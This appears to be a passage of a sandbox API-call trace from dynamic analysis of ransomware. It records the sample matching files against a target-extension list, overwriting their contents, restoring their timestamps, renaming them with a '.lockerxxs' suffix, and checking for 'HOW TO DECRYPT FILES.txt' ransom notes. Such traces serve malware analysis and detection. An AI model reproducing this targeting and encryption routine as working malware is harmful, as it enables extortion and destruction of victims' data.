(pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm", pszSpec="*.qbm") returned 0 [0085.378] lstrlenA (lpString="*.qbm") returned 5 [0085.378] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm", pszSpec="*.qbo") returned 0 [0085.378] lstrlenA (lpString="*.qbo") returned 5 [0085.378] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm", pszSpec="*.qbx") returned 0 [0085.378] lstrlenA (lpString="*.qbx") returned 5 [0085.378] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm", pszSpec="*.qba") returned 0 [0085.378] lstrlenA (lpString="*.qba") returned 5 [0085.379] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm", pszSpec="*.qby") returned 0 [0085.379] lstrlenA (lpString="*.qby") returned 5 [0085.379] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm", pszSpec="*.qbj") returned 0 [0085.379] lstrlenA (lpString="*.qbj") returned 5 [0085.379] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm", pszSpec="*.ofx") returned 0 [0085.379] lstrlenA (lpString="*.ofx") returned 5 [0085.379] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm", pszSpec="*.qif") returned 0 [0085.379] lstrlenA (lpString="*.qif") returned 5 [0085.379] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm", pszSpec="*.mye") returned 0 [0085.379] lstrlenA (lpString="*.mye") returned 5 [0085.379] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm", pszSpec="*.mbox") returned 0 [0085.379] lstrlenA (lpString="*.mbox") returned 6 [0085.379] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm", pszSpec="*.eml") returned 0 [0085.379] lstrlenA (lpString="*.eml") returned 5 [0085.379] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm", pszSpec="*.pst") returned 0 [0085.379] lstrlenA (lpString="*.pst") returned 5 [0085.379] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm", pszSpec="*.ost") returned 0 [0085.379] lstrlenA (lpString="*.ost") returned 5 [0085.379] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm", pszSpec="*.idx") returned 0 [0085.379] lstrlenA (lpString="*.idx") returned 5 [0085.379] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm", pszSpec="*.dbx") returned 0 [0085.379] lstrlenA (lpString="*.dbx") returned 5 [0085.379] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm", pszSpec="*.sql") returned 0 [0085.379] lstrlenA (lpString="*.sql") returned 5 [0085.379] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm", pszSpec="*.mdb") returned 0 [0085.379] lstrlenA (lpString="*.mdb") returned 5 [0085.380] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm", pszSpec="*.fdb") returned 0 [0085.380] lstrlenA (lpString="*.fdb") returned 5 [0085.380] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm", pszSpec="*.wab") returned 0 [0085.380] lstrlenA (lpString="*.wab") returned 5 [0085.380] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm", pszSpec="*.dat") returned 0 [0085.380] lstrlenA (lpString="*.dat") returned 5 [0085.380] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm", pszSpec="*.txt") returned 0 [0085.380] lstrlenA (lpString="*.txt") returned 5 [0085.380] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm", pszSpec="*.jpeg") returned 0 [0085.380] lstrlenA (lpString="*.jpeg") returned 6 [0085.380] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm", pszSpec="*.jpg") returned 0 [0085.380] lstrlenA (lpString="*.jpg") returned 5 [0085.380] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm", pszSpec="*.png") returned 0 [0085.380] lstrlenA (lpString="*.png") returned 5 [0085.380] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm", pszSpec="*.php") returned 0 [0085.380] lstrlenA (lpString="*.php") returned 5 [0085.380] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm", pszSpec="*.cs") returned 0 [0085.380] lstrlenA (lpString="*.cs") returned 4 [0085.380] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm", pszSpec="*.cpp") returned 0 [0085.380] lstrlenA (lpString="*.cpp") returned 5 [0085.380] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm", pszSpec="*.rar") returned 0 [0085.380] lstrlenA (lpString="*.rar") returned 5 [0085.380] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm", pszSpec="*.zip") returned 0 [0085.381] lstrlenA (lpString="*.zip") returned 5 [0085.381] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm", pszSpec="*.html") returned 0 [0085.381] lstrlenA (lpString="*.html") returned 6 [0085.381] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm", pszSpec="*.htm") returned 1 [0085.381] lstrlenA (lpString="*.htm") returned 5 [0085.381] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm" [0085.381] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm" [0085.381] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm." [0085.381] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm.lockerxxs" [0085.381] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0085.382] GetFileSize (in: hFile=0x98, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xe6 [0085.382] GetFileTime (in: hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x28de3e80, dwHighDateTime=0x1d2dd9c), lpLastAccessTime=0x407536*(dwLowDateTime=0x28de3e80, dwHighDateTime=0x1d2dd9c), lpLastWriteTime=0x40753e*(dwLowDateTime=0xce1c836a, dwHighDateTime=0x1ca040d)) returned 1 [0085.382] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0085.382] ReadFile (in: hFile=0x98, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0xc0, lpOverlapped=0x0) returned 1 [0085.384] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm") returned="Stars.htm" [0085.384] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0085.384] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xc0, lpOverlapped=0x0) returned 1 [0085.384] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0085.384] CloseHandle (hObject=0x98) returned 1 [0085.385] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.htm"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.htm.lockerxxs")) returned 1 [0085.386] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa5ffafd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0x27000324, dwReserved1=0x4e00c4, cFileName="Stars.jpg", cAlternateFileName="")) returned 1 [0085.386] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0085.386] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Stars.jpg") returned -1 [0085.386] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Stars.jpg") returned -1 [0085.386] lstrcmpiA (lpString1="", lpString2="Stars.jpg") returned -1 [0085.386] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.htm") returned="Stars.htm" [0085.386] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\" [0085.386] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\") returned="" [0085.386] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HOW TO DECRYPT FILES.txt" [0085.386] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\how to decrypt files.txt")) returned 0x2020 [0085.386] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", lpString2="Stars.jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg" [0085.386] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg", pszSpec="*.ems") returned 0 [0085.386] lstrlenA (lpString="*.ems") returned 5 [0085.386] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg", pszSpec="*.db") returned 0 [0085.386] lstrlenA (lpString="*.db") returned 4 [0085.387] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg", pszSpec="*.dbf") returned 0 [0085.387] lstrlenA (lpString="*.dbf") returned 5 [0085.387] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg", pszSpec="*.myox") returned 0 [0085.387] lstrlenA (lpString="*.myox") returned 6 [0085.387] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg", pszSpec="*.myo") returned 0 [0085.387] lstrlenA (lpString="*.myo") returned 5 [0085.387] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg", pszSpec="*.qbw") returned 0 [0085.387] lstrlenA (lpString="*.qbw") returned 5 [0085.387] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg", pszSpec="*.qbb") returned 0 [0085.387] lstrlenA (lpString="*.qbb") returned 5 [0085.387] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg", pszSpec="*.qbm") returned 0 [0085.387] lstrlenA (lpString="*.qbm") returned 5 [0085.387] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg", pszSpec="*.qbo") returned 0 [0085.387] lstrlenA (lpString="*.qbo") returned 5 [0085.387] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg", pszSpec="*.qbx") returned 0 [0085.387] lstrlenA (lpString="*.qbx") returned 5 [0085.387] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg", pszSpec="*.qba") returned 0 [0085.387] lstrlenA (lpString="*.qba") returned 5 [0085.387] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg", pszSpec="*.qby") returned 0 [0085.387] lstrlenA (lpString="*.qby") returned 5 [0085.387] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg", pszSpec="*.qbj") returned 0 [0085.387] lstrlenA (lpString="*.qbj") returned 5 [0085.387] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg", pszSpec="*.ofx") returned 0 [0085.387] lstrlenA (lpString="*.ofx") returned 5 [0085.387] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg", pszSpec="*.qif") returned 0 [0085.388] lstrlenA (lpString="*.qif") returned 5 [0085.388] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg", pszSpec="*.mye") returned 0 [0085.388] lstrlenA (lpString="*.mye") returned 5 [0085.388] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg", pszSpec="*.mbox") returned 0 [0085.388] lstrlenA (lpString="*.mbox") returned 6 [0085.388] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg", pszSpec="*.eml") returned 0 [0085.388] lstrlenA (lpString="*.eml") returned 5 [0085.388] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg", pszSpec="*.pst") returned 0 [0085.388] lstrlenA (lpString="*.pst") returned 5 [0085.388] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg", pszSpec="*.ost") returned 0 [0085.388] lstrlenA (lpString="*.ost") returned 5 [0085.388] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg", pszSpec="*.idx") returned 0 [0085.388] lstrlenA (lpString="*.idx") returned 5 [0085.388] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg", pszSpec="*.dbx") returned 0 [0085.388] lstrlenA (lpString="*.dbx") returned 5 [0085.388] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg", pszSpec="*.sql") returned 0 [0085.388] lstrlenA (lpString="*.sql") returned 5 [0085.388] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg", pszSpec="*.mdb") returned 0 [0085.388] lstrlenA (lpString="*.mdb") returned 5 [0085.388] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg", pszSpec="*.fdb") returned 0 [0085.388] lstrlenA (lpString="*.fdb") returned 5 [0085.388] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg", pszSpec="*.wab") returned 0 [0085.389] lstrlenA (lpString="*.wab") returned 5 [0085.389] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg", pszSpec="*.dat") returned 0 [0085.389] lstrlenA (lpString="*.dat") returned 5 [0085.389] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg", pszSpec="*.txt") returned 0 [0085.389] lstrlenA (lpString="*.txt") returned 5 [0085.389] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg", pszSpec="*.jpeg") returned 0 [0085.389] lstrlenA (lpString="*.jpeg") returned 6 [0085.389] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg", pszSpec="*.jpg") returned 1 [0085.389] lstrlenA (lpString="*.jpg") returned 5 [0085.389] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg" [0085.389] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg" [0085.389] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg." [0085.389] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg.lockerxxs" [0085.389] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0085.390] GetFileSize (in: hFile=0x98, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1d51 [0085.390] GetFileTime (in: hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x28de3e80, dwHighDateTime=0x1d2dd9c), lpLastAccessTime=0x407536*(dwLowDateTime=0x28de3e80, dwHighDateTime=0x1d2dd9c), lpLastWriteTime=0x40753e*(dwLowDateTime=0xaa5ffafd, dwHighDateTime=0x1c9ea0c)) returned 1 [0085.390] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0085.390] ReadFile (in: hFile=0x98, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x1d2b, lpOverlapped=0x0) returned 1 [0085.500] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg") returned="Stars.jpg" [0085.500] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0085.500] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x1d2b, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x1d2b, lpOverlapped=0x0) returned 1 [0085.501] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0085.501] CloseHandle (hObject=0x98) returned 1 [0085.501] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Stars.jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\stars.jpg.lockerxxs")) returned 1 [0085.502] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28de3e80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa5ffafd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d51, dwReserved0=0x27000324, dwReserved1=0x4e00c4, cFileName="Stars.jpg", cAlternateFileName="")) returned 0 [0085.502] FindClose (in: 